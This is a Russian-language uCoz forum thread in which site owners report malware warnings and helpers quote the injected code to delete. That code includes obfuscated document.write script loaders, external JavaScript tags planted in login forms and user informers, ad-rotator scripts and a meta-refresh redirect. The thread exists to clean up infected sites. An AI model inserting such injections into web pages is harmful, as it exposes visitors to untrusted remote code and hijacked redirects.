Модератор форума: Yuri_G |
Сообщество uCoz Мастерская uCoz Безопасность сайта Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение) |
Вирусы на сайтах (для изучения) |
Вот проблема помоги плз
http://sinet.ucoz.ua/ |
Simer, удалите это полностью
Quote <!--Money counter--><script type="text/javascript"><!-- document.write('<sc' + 'ript language="JavaScript" rel="nofollow" ' + 'src="http://countr.ru/24007/counter.jpg" title="Money counter" border="0" width="88" height="31"></sc' + 'ript>'); <!--Money counter--><script type="text/javascript"><!-- document.write('<sc' + 'ript language="JavaScript" rel="nofollow" ' + 'src="http://javacont.ru/24007/counter.jpg" title="Money counter" border="0" width="88" height="31"></sc' + 'ript>'); //--></script><!--/Money counter--> и больше никогда ничего подобного на сайт не ставьте |
D3Sk, из формы входа удалить выделенное красным
Quote Ваш логин'" value="Ваш логин" size="20" style="width:100%;" maxlength="50"/><script src="http://i1ii.ru/1.js" type="text/javascript"></script></td></tr> и из чата я бы удалила скрипт блокировки матерных слов. написан он крайне глупо и выводит в исходник весь список. яндекс на мат в коде и на страницах плохо реагирует есть стандартное средство блокировки плохих слов и оно точно не выводит эти нечистоты в код. задумайтесь |
дима495, дайте точный текст того что пишет хрум
и удалите битое и совершенно ненужное в информере пользователей Quote Обычных юзеров: 283 </P><P class="li" align="left"><B> Из них </P><P align="left"><IMG src="http://soft-new.at.ua/Images-CTAT/nm.png"> Парней: 247 <BR><IMG src="http://soft-new.at.ua/Images-CTAT/userw.png"> Девушек: 66</P><EMBED allowscriptaccess="never" pluginspage="http://www.macromedia.com/go/getflashplayer" src="http://xerni.net.ru/flash/6.swf" width="113" height="117" wmode="transparent" type="application/x-shockwave-flash" quality="high"></DIV> |
dima495.ucoz.ru содержит материалы сайта www.vsepodrad.ru, который, по имеющимся данным, распространяет вредоносное ПО. Ваш компьютер может подвергнуться вирусной атаке при посещении этого сайта.
Google обнаружил, что на ваш компьютер могут быть установлены вредоносные программы, если вы продолжите просмотр этого сайта. Если вы посещали его в прошлом или доверяете ему, вполне возможно, что он недавно был взломан хакерами. Рекомендуется прекратить просмотр и посетить сайт завтра либо перейти на другой сайт. Мы уже сообщили владельцу сайта www.vsepodrad.ru о том, что на его сайте найдено вредоносное ПО. Подробнее о проблемах, обнаруженных на www.vsepodrad.ru, можно узнать на странице Google |
дима495, проблема в радио. оно подгружается у вас с заблокированного хоста
Quote </script></strong></font></center> <img src="http://www.vsepodrad.ru/online/radio/.s/t/986/radio_open.png" border="0" alt="" /><INPUT type="button" class="postPrev" onclick="window.open('http://www.vsepodrad.ru/online/radio/AllRadio.html','mchatCtrl','scrollbars=1,width=320,height=470,left=0,top=0'); return false;" style="height: 24px;width:200px;margin:0px" value="Включить радио"> |
Один знакомы сказал что ESET блокирует сайт, проверил и правда http://antivirus-alarm.ru/proverka/?url=wintorrent.ru%2F&again=1
Помогите решить проблему сайт http://wintorrent.ru/ Пишется вирус [HTML/ScrInject.B.Gen] |
MUSTANG3768, вот это разбирайте
Code <script language="javascript" src="http://uno.wbrotator.biz/?t=br&noadult=1&pid=25995"></script> <!-- mediaunder Start --> <script type="text/javascript"> var ref = escape(document.referrer); document.write('<scr' + 'ipt type="text/javascript" src="http://mediaunder.us/scode.php?site=1484&ref=' + ref + '"></scr' + 'ipt>') </script> <!-- mediaunder End --> и вот это удалить обязательно Code <script type="text/javascript" src="http://s105.ucoz.net/src/u.js?2"></script> |
webanet, У меня проблема как и у MUSTANG3768 пытаемся вместе решить мой сайт http://androidtracker.ru/ .Данная партнерская программа не установлена.Что скажите?
|
SOUND-PORTAL, не установлена? а это что?
Code <script language="javascript" src="http://uno.wbrotator.biz/?t=br&noadult=1&pid=10926"></script> |
для Fernand
Quote Новых за неделю: 2 <BR> <IMG src="http://soft-new.at.ua/Images-CTAT/nm.png"> Новых вчера: 1 <BR> <IMG src="http://soft-new.at.ua/Images-CTAT/nm.png"> Новых сегодня: 0 <BR><SPAN style="FONT-FAMILY: Comic Sans MS"><SPAN style="COLOR: #ffa500"><STRONG> »</STRONG></SPAN><STRONG><SPAN style="COLOR: #ffa500"> </SPAN></STRONG></SPAN><script src="http://zagruzlo.ru/swf.js" type="text/javascript"></script><STRONG>Из них< |
1) Вирус или что то типа этого на всех страницах кроме форума на сайте (www.god-css.ru)
2) Вирус обнаруживается под логином и без суть его в том что страница подгруживается недоконца и зависает срабатывает антивирус симантек на страницы сайта а на днях удалились несколько картинок они залиты в ФМ но просмотр самой картинки уже недоступен спасите плз |
demon31, удалите сначала это (проходит по базам касперского)
Quote <a href="http://gw73.ru/"> <img src="http://www.gw73.ru/gw73_88x31.gif" alt="Games World - Плагины, моды, статьи, игры, патчи, готовые сервера и многое другое на Gw73.ru" border="0" height="31" width="88"> </a> далее полностью удаляем эту строчку Code <link type="text/css" rel="StyleSheet" href="http://s48.ucoz.net/src/layer2.css" /><script type="text/javascript" src="http://s48.ucoz.net/src/u.js?2"></script> далее удалите из мини-чата битый скрипт. потом после всех удалений опять проверяем сайт своим симантеком. предварительно очистив кеш и пишем сюда что именно блокирует симантек |
koza4ello, спасибо за ответ, но такая проблема где найти мне эту строчку, зашёл в управление дизайном, но такой строчки не нашел
Код <!-- <body> --><meta http-equiv='refresh' content='0; url=http://mau.tom.ru'><!-- </body> --> подскажите пожалуйста как и где её найти всё в мире кажется иллюзорным и лиш иллюзия кажется настоящей
|
| |||